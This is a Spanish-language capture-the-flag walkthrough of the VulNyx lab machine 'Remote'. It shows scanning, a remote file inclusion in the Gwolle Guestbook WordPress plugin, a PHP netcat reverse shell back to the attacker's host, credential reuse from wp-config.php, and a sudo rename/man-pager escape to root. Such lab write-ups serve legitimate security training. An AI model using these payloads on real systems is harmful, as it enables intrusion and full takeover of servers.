VulNyx - Remote

logo

  • WordPress Plugin Gwolle Guestbook 1.5.3 - (RFI)
  • Abusing Remote Binary - Sudo Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.68

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.68

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

apache

Al realizar fuerza bruta de directorios encuentro el directorio /wordpress.

❯ wfuzz -c --hw=31 -w /usr/share/seclists/Discovery/Web-Content/big.txt "http://192.168.1.68/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.68/FUZZ
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                     
=====================================================================

000000016:   403        9 L      28 W       277 Ch      ".htaccess"                                                                 
000000017:   403        9 L      28 W       277 Ch      ".htpasswd"                                                                 
000016220:   403        9 L      28 W       277 Ch      "server-status"                                                             
000019915:   301        9 L      28 W       316 Ch      "wordpress" 

Al visitar el nuevo directorio veo la web un poco extraña.

wordpress

Lanzo curl grepeando por href y encuentro el dominio remote.nyx.

❯ curl -s http://192.168.1.68/wordpress/ | grep "href"
<link rel='dns-prefetch' href='//remote.nyx' />

Añado remote.nyx a mi archivo host para ver correctamente la web.

wordpressFix

Después de hacer varias pruebas sin tener éxito lanzo nmap usando su scripts NSE para wordpress y encuentro un plugin vulnerable.

❯ nmap -sV --script http-wordpress-enum --script-args http-wordpress-enum.root="/wordpress/",check-latest=true,search-limit=700 remote.nyx -p 80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 13:14 CET
Nmap scan report for remote.nyx (192.168.1.68)
Host is up (0.0010s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-wordpress-enum: 
| Search limited to top 700 themes/plugins
|   plugins
|     akismet 5.2 (latest version:5.3)
|_    gwolle-gb 1.5.3 (latest version:4.6.1)

En Exploit-db encuentro este exploit.

expdb

Creo un archivo con el nombre wp-load.php con el siguiente contenido.

<?php system(id); ?>

Ahora creo un servidor HTTP con python para compartir mi archivo.

❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Lanzo curl usando la ruta del exploit apuntando a mi máquina y veo que se ha ejecutado el archivo wp-login.php.

❯ curl "http://192.168.1.68/wordpress/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://192.168.1.15/"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sabiendo esto puedo mandarme una shell modificando el archivo wp-login.php.

<?php system('nc -c /bin/bash 192.168.1.15 4444'); ?>

Lanzo de nuevo curl y obtengo una shell como www-data.

❯ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.15] from remote.nyx [192.168.1.68] 45036
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumerando el sistema encuentro unas credenciales en el archivo wp-config.php ubicado en /var/www/html/wordpress.

db

Paso de www-data a tiago utilizando las credenciales encontradas en wp-config.php.

www-data@remote:/var/www/html/wordpress$ su tiago
Password: 
tiago@remote:/var/www/html/wordpress$ id
uid=1000(tiago) gid=1000(tiago) grupos=1000(tiago)

Enumero permisos de sudo.

tiago@remote:~$ sudo -l
Matching Defaults entries for tiago on remote:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tiago may run the following commands on remote:
    (root) NOPASSWD: /usr/bin/rename

Lanzo el binario rename con la flag -h para ver la ayuda.

tiago@remote:~$ sudo /usr/bin/rename -h

Me llama la atención la flag -m.

renameHelp

Lanzo rename con la flag -m para ver el “man” de la herramienta.

tiago@remote:~$ sudo /usr/bin/rename -m

Se abre la ventana del manual y abajo a la izquierda escribo !/bin/bash.

renameMan

Al pulsar enter obtengo el root.

root

Y aquí termina la máquina Remote.

Saludos!